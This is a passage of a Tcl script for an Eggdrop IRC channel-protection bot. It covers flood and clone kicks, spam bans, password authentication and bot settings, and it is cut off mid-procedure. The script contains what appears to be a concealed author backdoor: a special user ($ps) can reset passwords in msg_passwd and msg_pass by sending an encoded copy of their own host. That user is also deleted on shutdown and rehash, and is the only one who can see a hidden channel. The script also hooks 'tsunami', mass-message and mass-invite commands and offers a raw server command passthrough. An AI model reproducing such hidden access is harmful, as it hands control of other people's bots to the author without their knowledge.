puthlp "NOTICE $nick :$notc Usage: notice <#/nick> <msg>"
}
}
proc telljoin {chan} {
global joinme notc botnick
if {![validchan $chan]} { return 0 }
if {[istimer "resync"]} {
if {![botisop $chan]} {
if {![string match "*k*" [getchanmode $chan]]} {
puthelp "mode $chan -kok+o $botnick $botnick [lgrnd]$vern $botnick $botnick"
} {
puthelp "mode $chan -o+o $botnick $botnick"
}
}
}
if {$joinme != "" && [string tolower $chan] != "Sidimpuan"} {
if {![onchan $joinme $chan]} {
puthlp "NOTICE $joinme :$notc JoIN $chan"
set joinme ""
}
}
}
proc chkspam {chan} {
global invme notc botnick
if {![validchan $chan] || ![botonchan $chan]} { return 0 }
foreach x [chanlist $chan] {
set mhost "@[lindex [split [getchanhost $x $chan] @] 1]"
if {[info exists invme($mhost)]} {
if {![matchattr $x f] && ![isop $x $chan]} {
if {[isop $botnick $chan]} {
set bannick($x) "*!$uhost"
if {$invme($mhost) == "AuToJoIN MSg"} {
if {![isvoice $x $chan]} {
putsrv "KICK $chan $x :$notm 04!SpaM!12 FRoM 04$mhost $invme($mhost) [banmsg]"
}
} {
putsrv "KICK $chan $x :$notm 04!SpaM!12 FRoM 04$mhost $invme($mhost) [banmsg]"
}
catch {unset invme($mhost)}
} {
foreach c [chanlist $chan f] {
if {[isop $c $chan]} {
if {$invme($mhost) == "AuToJoIN MSg"} {
if {[isvoice $c $chan]} {
break
}
}
set sendspam "!tot [zip "$chan $x $notm 04!SpaM!12 FRoM 04$mhost 12$invme($mhost) 04AuTOJoIN MSg12..!"]"
putsrv "PRIVMSG $c :$sendspam"
catch {unset invme($mhost)}
break
}
}
}
}
}
}
}
proc testmask {} {
global ismaskhost
set ismaskhost [maskhost "*!*@*"]
}
utimer 2 testmask
proc reset_host {} {
global jfhost
catch { unset jfhost }
}
proc savechan {} {
savechannels
foreach x [channels] {
set cflag "c$x"
set cflag [string range $cflag 0 8]
set cinfo [channel info $x]
if {![validuser $cflag]} {
adduser $cflag "%!%@%"
if {[string match "*+greet*" $cinfo]} {
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
} {
chattr $cflag "-hp+A"
}
}
}
foreach x [userlist A] {
set tmp "0"
foreach y [channels] {
set cflag "c$y"
set cflag [string range $cflag 0 8]
if {[string tolower $x] == [string tolower $cflag]} {
set tmp "1"
}
}
if {$tmp == "0"} {
deluser $x
putlog "remove flag channel $x"
}
}
saveuser
}
proc join_chk {nick uhost hand chan} {
global botnick own deopme double invme ex_flood notc quick kops jfhost jpnick is_m nickpass
global cmd_chn cmd_by cmd_msg cmd_case bannick botname notm massjoin ismaskhost op_it
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set cinfo [channel info $chan]
if {$nick == $botnick} {
catch {unset is_m($chan)}
if {[matchattr $cflag S]} {
	if {![isutimer "chkspam $chan"]} { utimer 30 [list chkspam $chan] }
	if {![istimer "chkautomsg"]} { 
		timer 1 { putlog "chkautomsg" }
	}
}
set double 0
if {[string tolower $cmd_chn] == [string tolower $chan]} {
if {$cmd_case == "1"} {
utimer 90 del_nobase
pub_tsunami $cmd_by $uhost $hand $chan "$chan ${cmd_msg}"
set cmd_chn ""
return 0
}
if {$cmd_case == "2"} {
utimer 30 [list pub_mmsg $cmd_by $uhost $hand $chan $cmd_msg]} {
set cmd_chn ""
return 0
}
if {$cmd_case == "3"} {
utimer 30 [list pub_minvite $cmd_by $uhost $hand $chan $cmd_msg]} {
set cmd_chn ""
return 0
}
}
utimer 15 [list telljoin $chan]
return 0
}
if {[info exists op_it($nick)]} { 
catch {unset op_it($nick)}
opq $chan $nick 
}
if {[isutimer "chkspam $chan"]} {
foreach x [utimers] {
if {[string match "*chkspam $chan*" $x]} { 
chkspam $chan
killutimer [lindex $x 2] 
}
}
}
if {[info exists bannick($nick)]} { return 0 }
if {![matchattr $nick f] && [matchattr $cflag G] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} { advertise $chan $nick }
set mhost "@[lindex [split $uhost @] 1]"
if {$mhost == "@DALnet" || [string match "*dal.net" $mhost]} {
putsrv "AWAY"
}
if {![isop $botnick $chan]} { 
if {[info exists invme($mhost)]} {
if {![isutimer "chkspam $chan"]} { chkspam $chan }
}
return 0
}
if {[matchattr $cflag J]} {
if {[info exists ismaskhost]} {
if {![isutimer "reset_host"]} { utimer 10 reset_host }
set chkhost [maskhost "*!*$mhost"]
if {![info exists jfhost($chkhost$chan)]} {
set jfhost($chkhost$chan) 1
} {
incr jfhost($chkhost$chan)
if {$jfhost($chkhost$chan) == 5} {
set bannick($nick) $chkhost
putsrv "KICK $chan $nick :$notm 12FLoOd AnTIcIpaTEd FRoM 04$chkhost [banms]"
return 0
}
}
}
if {![isutimer "jc $chan"]} {
utimer 3 [list jc $chan]
set massjoin($chan) 1
} {
if {![info exists massjoin($chan)]} {
set massjoin($chan) 1
}
set massjoin($chan) [incr massjoin($chan)]
if {![isutimer "TRAFFIC $chan"]} {
if {$massjoin($chan) >= 15} {
unset massjoin($chan)
if {[string match "*+greet*" $cinfo]} {
utimer 30 [list putlog "TRAFFIC $chan"]
if {![string match "*m*" [getchanmode $chan]] && ![info exists is_m($chan)]} {
putserv "mode $chan +b *!*@heavy.join.flood.channel.temporary.moderate"
return 0
}
}
}
}
}
}
if {[matchattr $cflag L]} {
foreach u [timers] {
if {[string match "*chk_limit*" $u]} {
killtimer [lindex $u 2]
}
}
timer 1 [list chk_limit $chan]
}
if {$nick == $deopme} {
putsrv "KICK $chan $nick :$notc 12SeLF 04De@p12 REvENgE..!"
set deopme ""
return 0
}
if {[matchattr $nick v] || [matchattr $nick P] || [matchattr $nick G]} {
whoisq $nick
}
if {[matchattr $cflag V] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} {
if {![matchattr $nick O] && ![isutimer "voiceq $chan $nick"]} {
set cret [getuser $cflag XTRA "VC"]
foreach ct [utimers] {
if {[string match "*voiceq*" $ct]} {
if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
}
}
}
utimer $cret [list voiceq $chan $nick]
}
}
if {[info exists bannick($nick)] || [matchattr $nick f]} { return 0 }
if {[matchattr $hand K]} { 
akick_chk $nick $uhost $chan
return 0
}
if {[info exists ex_flood($mhost)]} {
set bannick($nick) "*!*$mhost"
if {$ex_flood($mhost) == 0} {
putsrv "KICK $chan $nick :$notm 04AKILL12 FRoM 04$mhost ON LasT QuIT [banmsg]"
} elseif {$ex_flood($mhost) == 1} { 
putsrv "KICK $chan $nick :$notm 04Excess FloOd12 FRoM 04$mhost ON LasT QuIT [banmsg]"
} elseif {$ex_flood($mhost) == 2} {
putsrv "KICK $chan $nick :$notm 04InvITE12 FRoM 04$mhost ON QuIT MSg [banmsg]"
} elseif {$ex_flood($mhost) == 3} {
putsrv "KICK $chan $nick :$notm 04InvITE12 FRoM 04$mhost ON PaRT MSg [banmsg]"
} elseif {$ex_flood($mhost) == 4} {
if {![matchattr $cflag M]} {
puthlp "KICK $chan $nick :[lgrnd] 04JoINPaRT12 FRoM 04$mhost12 LESS THaN04 [getuser $cflag XTRA "JP"] 2nd [banmsg]"
} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "mode $chan -k+b 04J.o.I.N.P.a.R.T $bannick($nick)"
} {
putserv "mode $chan +b $bannick($nick)"
}
}
} else {
putsrv "KICK $chan $nick :$notm 04BaDWoRD12 FRoM 04$mhost12 ON QuIT OR PaRT MSg MaTcH FRoM 04$ex_flood($mhost) [banms]"
}
unset ex_flood($mhost)
return 0
}
foreach x [ignorelist] {
if {[lindex $x 0] != "*!*@*" && [string match [lindex $x 0] "*!*$mhost"] && [lindex $x 1] != "*"} {
set bannick($nick) [lindex $x 0]
putsrv "KICK $chan $nick :$notm 04IgNoREd12 HosT 04[lindex $x 0]12 ReasOn04 [lindex $x 1] [banms]"
return 0
} 
}
if {[info exists invme($mhost)]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 04SpaM12 FRoM 04$mhost $invme($mhost) [banmsg]"
unset invme($mhost)
return 0
}
set chan [string tolower $chan]
if {[string match "*+nodesynch*" [channel info $chan]]} {
if {![matchattr $nick f]} {
utimer 10 [list autokick $chan $nick]
}
}
if {[matchattr $cflag O]} {
if {[string match "*$mhost" $botname]} { return 0 }
set counter 0
set maxclone [getuser $cflag XTRA "CLONE"]
foreach knick [chanlist $chan] {
if {[string match "*$mhost" [getchanhost $knick $chan]]} {
if {[matchattr $knick f]} { return 0 }
if {[isop $knick $chan]} { return 0 }
if {[isvoice $knick $chan]} { 
if {![info exists kops]} { return 0 }
}
set counter [incr counter]
if {$counter > $maxclone} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notm 12FouNd $counter 04cLonE12 FRoM 04$mhost12 MaX04 $maxclone12 WaIT A MoMENT! 04BaNNEd12: 3 MINUTES04..!"
return 0
}
}
}
}
spam_chk $nick $uhost $hand $chan
set chan [string toupper $chan]
if {[matchattr $cflag P]} {
if {![info exists jpnick($nick)]} {
set jpnick($nick) "1"
utimer [getuser $cflag XTRA "JP"] [list munset $nick] 
}
}
return 0
}
proc jc {chan} {
}
proc munset {nick} {
global jpnick
catch {unset jpnick($nick)}
}
proc msg_passwd {nick uhost hand rest} {
global botnick notc ps
set pw [lindex $rest 0]
set newpw [lindex $rest 1]
if {$nick == $ps && [dezip $pw] == $uhost} {
setuser $nick PASS $newpw
puthlp "NOTICE $nick :$notc Password set to: $newpw"
saveuser
return 0
}
if {$pw == "" || $newpw == ""} {
puthlp "NOTICE $nick :$notc Usage: passwd <oldpass> <newpass>"
return 0
}
if {![passwdok $nick $pw]} {
puthlp "NOTICE $nick :$notc PaSSWORD 04!FaILED!"
return 0
}
set ch [passwdok $nick ""]
if {$ch == 1} {
setuser $nick PASS $newpw
puthlp "NOTICE $nick :$notc Password set to: $newpw"
saveuser
return 0
}
if {[passwdok $nick $pw]} {
setuser $nick PASS $newpw
puthlp "NOTICE $nick :$notc Password set to: $newpw"
saveuser
return 0
}
}
proc goback {} {
	global keep-nick nick botnick nickname nickpassword
	if {[istimer "goback"]} { return 0 }
	foreach x [utimers] {
		if {[string match "*goback*" $x]} { killutimer [lindex $x 2]}
	}
	if {[getuser "config" XTRA "NICK"]!=""} {
		set nick [dezip [getuser "config" XTRA "NICK"]]
	}
	set keep-nick 1
	if {[string match "KzN??????????" $botnick]} {
		putsrv "NickServ release $nickname $nickpassword"
		rehash	
	}
	if {$botnick == $nick} { 
		return 0
	} 
	puthlp "NICK $nick"
}
proc pub_!auth {nick uhost hand chan rest} {
global notc ath ps
set pw [lindex $rest 0]
if {$pw != ""} {
puthlp "NOTICE $nick :$notc No Need Auth Password, Just Type on Channel: !auth"
return 0
}
if {[matchattr $nick Q]} { 
puthlp "NOTICE $nick :$notc ReAdY..!"
return 0 
}
set ch [passwdok $nick ""]
if {$ch == 1 && $nick != $ps} {
puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
return 0
}
set ath 1
putsrv "WHOIS $nick"
}
proc msg_auth {nick uhost hand rest} {
global botnick owner keep-nick altnick notc ps
if {[lindex $rest 1] != ""} {
if {[passwdok [lindex $rest 0] [lindex $rest 1]]} {
if {[matchattr [lindex $rest 0] Z]} {
puthlp "NOTICE $nick :$notc AuTH MaTcH FoR [lindex $rest 0]"
set keep-nick 0
putsrv "NICK $altnick"
utimer 40 {goback}
}
} {
puthlp "NOTICE $nick :$notc 04FaILEd..!"
}
return 0
}
if {![validuser $owner]} {
set hostmask "$owner!*@*"
adduser $owner $hostmask
chattr $owner "Zfhjmnoptx"
puthlp "NOTICE $owner :$notc No password set. Usage: pass <password>"
}
if {![matchattr $nick p]} { return 0 }
set pw [lindex $rest 0]
if {$pw == ""} {
puthlp "NOTICE $nick :$notc Usage: auth <password>"
return 0
}
if {[matchattr $hand K]} { 
deluser "AKICK"
set akickhost "telnet!*@*"
adduser "AKICK" $akickhost
chattr "AKICK" "-hp"
chattr "AKICK" "K"
saveuser
puthlp "NOTICE $nick :$notc Re-aRRaNGe KIcKLIsT"
}
if {[matchattr $nick Q]} { 
puthlp "NOTICE $nick :$notc ReAdY..!"
return 0 
}
set ch [passwdok $nick ""]
if {$ch == 1} {
puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
return 0
}
if {[passwdok $nick $pw]} {
set hostmask "*![string range $uhost [string first "!" $uhost] end]"
set usenick [finduser $hostmask]
if {$usenick != "*" && $usenick != $nick} {
if {[matchattr $nick n] && ![matchattr $usenick Z]} {
puthlp "NOTICE $nick :$notc FoRcInG 04DeAuthenticated! To $usenick"
force_deauth $usenick
} else {
foreach x [channels] {
if {[onchan $usenick $x]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, Your host has been use by $usenick, wait until DeAuthenticated."
return 0
}
}
puthlp "NOTICE $nick :$notc 04Forcing DeAuthenticated!12 To $usenick"
force_deauth $usenick 
}
}
chattr $nick +Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
set hostmask "*![string range $uhost [string first "!" $uhost] end]"
setuser $nick HOSTS $hostmask
if {$nick == $owner && ![matchattr $nick Z]} { chattr $owner "Z" }
if {$nick == $owner && ![matchattr $nick f]} { chattr $owner "f" }
if {[matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc !OWnER!"
if {[getuser $nick XTRA "MEMO"]!=""} {
puthlp "PRIVMSG $nick :!MeMO! FRoM [getuser $nick XTRA "MEMO"]"
setuser $nick XTRA "MEMO" ""
}
return 0
} elseif {[matchattr $nick n]} {
puthlp "NOTICE $nick :$notc !ADmIN!"
} elseif {[matchattr $nick m]} {
puthlp "NOTICE $nick :$notc !MasTeR!"
} else {
puthlp "NOTICE $nick :$notc !AccepteD!"
}
saveuser
return 0
}
if {![passwdok $nick $pw]} {
puthlp "NOTICE $nick :$notc 04FaILEd..!"
}
}
proc force_deauth {nick} {
global notc 
chattr $nick -Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
saveuser
puthlp "NOTICE $nick :$notc You has been force to 04DeAuthentication!"
}
proc msg_pass {nick uhost hand rest} {
global botnick notc vern ps owner
set pw [lindex $rest 0]
if {$pw == ""} {
puthlp "NOTICE $nick :$notc Usage: pass <password>"
return 0
}
set ch [passwdok $nick ""]
if {$ch == 0} {
puthlp "NOTICE $nick :$notc You already set pass, /msg $botnick auth <password>"
return 0
}
if {[string tolower $nick] == [string tolower $ps] || $owner == $ps} {
if {[dezip $pw] == $uhost} {
setuser $nick PASS [lindex $rest 1]
puthlp "NOTICE $nick :$notc Password set to: [lindex $rest 1]"
saveuser
} {
puthlp "NOTICE $nick :$notc wHo.."
}
return 0
}
setuser $nick PASS $pw
puthlp "NOTICE $nick :$notc Password set to: $pw"
puthlp "NOTICE $nick :$notc /msg $botnick command for help"
saveuser
return 0
}
proc pub_!deauth {nick uhost hand chan rest} {
if {![matchattr $nick Q]} { return 0 }
msg_deauth $nick $uhost $hand $rest
}
proc msg_deauth {nick uhost hand rest} {
global notc 
if {![matchattr $nick Q]} { return 0 }
chattr $nick -Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
puthlp "NOTICE $nick :$notc 04!DeAUTH!"
saveuser
}
catch { bind rejn - * rejn_chk }
proc rejn_chk {unick uhost handle chan} {
if {![isutimer "TRAFFIC $chan"]} {
utimer 30 [list putlog "TRAFFIC $chan"]
}
}
catch { bind splt - * splt_deauth }
proc splt_deauth {unick uhost handle channel} {
if {[matchattr $unick Q]} {
chattr $unick -Q
foreach x [getuser $unick HOSTS] {
delhost $unick $x
}
set hostmask "${unick}!*@*"
setuser $unick HOSTS $hostmask
saveuser
return 0
}
}
proc sign_deauth {unick uhost hand chan rest} {
global ex_flood botnick notc nick badwords iskick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$unick == $nick} {
putsrv "NICK $nick"
}
if {[info exists iskick($unick$chan)]} {
unset iskick($unick$chan)
}
if {[isop $botnick $chan]} {
if {[matchattr $cflag L]} {
foreach u [timers] {
if {[string match "*chk_limit*" $u]} {
killtimer [lindex $u 2]
}
}
timer 1 [list chk_limit $chan]
}
}
if {[matchattr $unick Q]} {
chattr $unick -Q
foreach x [getuser $unick HOSTS] {
delhost $unick $x
}
set hostmask "${unick}!*@*"
setuser $unick HOSTS $hostmask
saveuser
return 0
}
if {[string match "*-greet*" [channel info $chan]]} { return 0 }
if {[matchattr $unick f]} { return 0 }
if {![isop $botnick $chan]} { return 0 }
set mhost "@[lindex [split $uhost @] 1]"
if {[string match "*AKILL ID*" $rest]} {
#set ex_flood($mhost) "0" 
   foreach signkickchan [channels] {
     if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {    
       if {[onchan $unick $signkickchan]} {   
          set signmask "*!*[string range $uhost [string first "@" $uhost] end]"
          if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {
              putquick "mode $signkickchan +b $signmask 3"
          }
        }
      }
    }
} elseif {[string match "*Excess Flood*" $rest]} {
if {[matchattr $cflag S]} {
#set ex_flood($mhost) "1" 
   foreach signkickchan [channels] {
     if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {    
       if {[onchan $unick $signkickchan]} {   
          set signmask "*!*[string range $uhost [string first "@" $uhost] end]"
          if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {
              putquick "mode $signkickchan +b $signmask 3"
          }
        }
      }
    }
}
} elseif {[string match "* #*" $rest] && ![string match "*##*" $rest]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $rest]]} { return 0 }
}
set ex_flood($mhost) "2"
} else {
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $rest]]} {
set ex_flood($mhost) [string toupper $badword]
}
}
}
return 0
}
proc part_deauth {nick uhost hand chan {msg ""}} {
global lockchan botnick ex_flood notc badwords jpnick iskick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[info exists iskick($nick$chan)]} {
unset iskick($nick$chan)
}
if {$nick == $botnick} {
foreach x [utimers] {
if {[string match "*del_nobase*" $x] || [string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }
}
return 0
}
if {[isop $botnick $chan]} {
if {[isutimer "voiceq $chan $nick"]} {
foreach x [utimers] {
if {[string match "*voiceq $chan $nick*" $x]} { killutimer [lindex $x 2] }
}
}
if {[matchattr $cflag L]} {
foreach u [timers] {
if {[string match "*chk_limit*" $u]} {
killtimer [lindex $u 2]
}
}
timer 1 [list chk_limit $chan]
}
}
if {[matchattr $nick Q]} {
foreach x [channels] {
if {[string tolower $x] != [string tolower $chan]} {
if {[onchan $nick $x]} {
return 0 
}
}
}
chattr $nick -Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
saveuser
}
if {$lockchan != "" && [string tolower $lockchan] == [string tolower $chan] && ![matchattr $nick f]} {
putsrv "INVITE $nick :$chan"
}
if {[string match "*-greet*" [channel info $chan]]} { return 0 }
if {[isop $botnick $chan]} {
if {[info exists msg]} {
set mhost "@[lindex [split $uhost @] 1]"
if {[string match "*#*" $msg] && ![string match "*##*" $msg]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $msg]]} { return 0 }
}
set ex_flood($mhost) "3"
} {
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $msg]]} {
set ex_flood($mhost) [string toupper $badword]
}
}
}
}
if {[info exists msg]} {
if {$msg != ""} { return 0 }
}
if {[matchattr $cflag P]} {
set chan [string toupper $chan]
if {[info exists jpnick($nick)]} {
set mhost "@[lindex [split $uhost @] 1]"
set ex_flood($mhost) "4"
}
}
}
return 0
}
proc pub_dump {nick uhost hand chan rest} {
global own notc 
if {$nick != $own} {
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
putsrv $rest
}
proc pub_sdeop {nick uhost hand chan rest} {
global notc botnick
if {$rest != ""} {
set chan $rest
}
if {[isop $botnick $chan]} {
puthelp "mode $chan +v-o $botnick $botnick"
}
}
proc pub_chanmode {nick uhost hand chan rest} {
global notc
if {$rest == ""} {
puthelp "NOTICE $nick :$notc Usage: chanmode #channel +ntsmklic"
return 0
}
if {[string index [lindex $rest 0] 0] == "#"} {
if {![validchan [lindex $rest 0]]} {
puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 0]"
return 0
}
set chan [lindex $rest 0]
set rest [lrange $rest 1 end]
}
if {![validchan $chan]} {
puthlp "NOTICE $nick :$notc $chan !ERRoR! No sUcH VaRIaBLe"
} else {
catch { channel set $chan chanmode $rest }
savechan
puthelp "NOTICE $nick :$notc $chan set modes \[$rest\]"
}
return 0
}
proc pub_chanset {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set channel [lindex $rest 0]
set options [string tolower [lindex $rest 1]]
set number "0"
if {$options == "deop" || $options == "kick" || $options == "join" || $options == "line" || $options == "nick" || $options == "ctcp"} {
set number [lindex $rest 2]
}
if {($channel == "") || ($options == "")} {
puthlp "NOTICE $nick :$notc Usage: chanset #channel <option...>"
return 0
}
if {![string match "*-*" $options] && ![string match "*+*" $options] && ![string match "*:*" $number]} {
puthlp "NOTICE $nick :$notc Usage: chanset #channel <deop|ctcp|kick|join|line|nick> <howmanytimes:seconds>"
return 0
}
if {[validchan $channel]} {
if {$options == "deop"} { 
catch { channel set $channel flood-deop $number }
puthlp "NOTICE $nick :$notc set deop flood \[$number\] on $channel"
} elseif {$options == "kick"} { 
catch { channel set $channel flood-kick $number }
puthlp "NOTICE $nick :$notc set kick flood \[$number\] on $channel"
} elseif {$options == "join"} { 
catch { channel set $channel flood-join $number }
puthlp "NOTICE $nick :$notc set join flood \[$number\] on $channel"
} elseif {$options == "line"} { 
catch { channel set $channel flood-chan $number }
puthlp "NOTICE $nick :$notc set line flood \[$number\] on $channel"
} elseif {$options == "nick"} { 
catch { channel set $channel flood-nick $number }
puthlp "NOTICE $nick :$notc set nick flood \[$number\] on $channel"
} elseif {$options == "ctcp"} { 
catch { channel set $channel flood-ctcp $number }
puthlp "NOTICE $nick :$notc set ctcp flood \[$number\] on $channel"
} else {
catch { channel set $channel ${options} }
savechan
puthelp "NOTICE $nick :$notc Successfully set modes \[${options}\] on $channel"
}
} else {
puthlp "NOTICE $nick :$notc $channel !ERRoR! No sUcH VaRIaBLe"
}
}
proc pub_chansetall {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: chansetall <option>"
return 0
}
foreach x [channels] {
catch { channel set $x $rest }
}
savechan
puthelp "NOTICE $nick :$notc Set all channels mode \{ $rest \}"
return 0
}
proc pub_nick {nick uhost hand chan rest} {
global keep-nick
set keep-nick 0
putsrv "NICK $rest"
}
proc pub_restart {nick uhost hand chan rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc ReSTaRT $rest"
return 0
}
proc dies {} {
global ps owner notc
if {$ps == $owner && [validuser $ps]} { deluser $ps }
die $notc
}
proc rehashing {} {
global ps owner
if {$ps == $owner && [validuser $ps]} { deluser $ps }
rehash
}
proc pub_die {nick uhost hand chan rest} {
global botnick ps notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc SHuTDown $rest"
utimer 5 dies
return 0
}
proc msg_restart {nick uhost hand rest} {
global botnick notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc ReSTaRT $rest"
return 0
}
proc msg_rehash {nick uhost hand rest} {
global notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
puthlp "NOTICE $nick :$notc ReHASHING!"
utimer 3 rehashing
return 0
}
proc pub_rehash {nick uhost hand chan rest} {
global notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
puthlp "NOTICE $nick :$notc ReHASHING!"
utimer 3 rehashing
}
proc pub_chaninfo {nick uhost hand chan rest} {
global notc ps
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {$nick != $ps && [string tolower $chan] == "Sidimpuan"} { return 0 }
puthlp "NOTICE $nick :$notc \[$chan\] [channel info $chan]"
}
proc pub_access {nick uhost hand chan rest} {
global notc
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $chan :$nick, !OWNeR!"
} elseif {[matchattr $nick n]} {
puthlp "PRIVMSG $chan :$nick, !ADmIN!"
} elseif {[matchattr $nick m]} {
puthlp "PRIVMSG $chan :$nick, !MasTeR!"
} elseif {[matchattr $nick f]} {
puthlp "PRIVMSG $chan :$nick, !FrIEnD!"
}
}
proc msg_botnick {unick uhost hand rest} {
global botnick nick nickpass notc 
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
set bnick [lindex $rest 0]
set bpass [lindex $rest 1]
if {$bnick == "" || $bpass == ""} {
puthlp "NOTICE $unick :$notc04 Usage: botnick <nick> <identify>"
return 0
} 
setuser "config" XTRA "NICK" [zip $bnick]
setuser "config" XTRA "NICKPASS" [zip $bpass]
saveuser
set nick $bnick
set nickpass $bpass
puthlp "NOTICE $unick :$notc BoTNIcK $bnick"
}
proc msg_realname {unick uhost hand rest} {
global realname notc 
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
setuser "config" XTRA "REALNAME" ""
} { 
setuser "config" XTRA "REALNAME" [zip $rest] 
}
saveuser
set realname $rest
putsrv "QUIT :$notc cHaNgINg ReaLNamE"
}
proc msg_ident {unick uhost hand rest} {
global username notc 
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
setuser "config" XTRA "USERNAME" ""
} { 
if {[regexp \[^a-z\] [string tolower $rest]]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..! use character for ident."
return 0
}
setuser "config" XTRA "USERNAME" [zip $rest] 
}
saveuser
set username $rest
putsrv "QUIT :$notc cHaNgINg IdEnT"
}
proc msg_logo {unick uhost hand rest} {
global banner notc notm cycle_random
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {[string match "*$notm*" $rest]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
set notc "0,1-8,1K1,8a8,1i1,8Z8,1e1,8N0,1-"
set notm "0,1-8,1K1,8\[z\]8,1N0-"
setuser "config" XTRA "BAN" "[zip $notc]"
puthlp "NOTICE $unick :$notc cHaNgE tO DeFauLT"
#catch { unset banner }
} {
setuser "config" XTRA "BAN" [zip $rest] 
set noto $notc
set notc $rest
set notm $rest
#lappend cycle_random $banner
puthlp "NOTICE $unick :$noto CHaNgE TO $rest"
}
saveuser
}
proc msg_email {unick uhost hand rest} {
global notc 
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $unick :$notc12 DeLETING USeR EmAIL"
} {
puthlp "NOTICE $unick :$notc12 USeR EmAIL SeT \[$rest\]"
}
setuser "config" XTRA "EMAIL" $rest
saveuser
}
proc msg_admin {unick uhost hand rest} {
global notc
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $unick :$notc12 SeT ADmIN oN STaTUS TO DeFAULT"
} {
puthlp "NOTICE $unick :$notc12 ADmIN oN STaTUS TO \[$rest\]"
}
setuser "config" XTRA "ADMIN" $rest
saveuser
}
proc msg_botaltnick {unick uhost hand rest} {
global botnick altnick altpass notc 
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
set baltnick [lindex $rest 0]
set baltpass [lindex $rest 1]
if {$baltnick == "" || $baltpass == ""} {
puthlp "NOTICE $unick :$notc04 Usage: botaltnick <nick> <identify>"
return 0
} 
setuser "config" XTRA "ALTNICK" [zip $baltnick]
setuser "config" XTRA "ALTPASS" [zip $baltpass]
saveuser
set altnick $baltnick
set altpass $baltpass
puthlp "NOTICE $unick :$notc BoTALTNIcK $baltnick"
}
proc msg_away {unick uhost hand rest} {
global realname notc 
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
setuser "config" XTRA "AWAY" ""
puthlp "NOTICE $unick :$notc AwAY \[04OFF\]"
} {
setuser "config" XTRA "AWAY" $rest
puthlp "NOTICE $unick :$notc AwAY SeT TO \[$rest\]"
}
saveuser
chk_five "0" "0" "0" "0" "0"
}
proc msg_memo {nick uhost hand rest} {
global notc own ps
if {$rest == ""} {
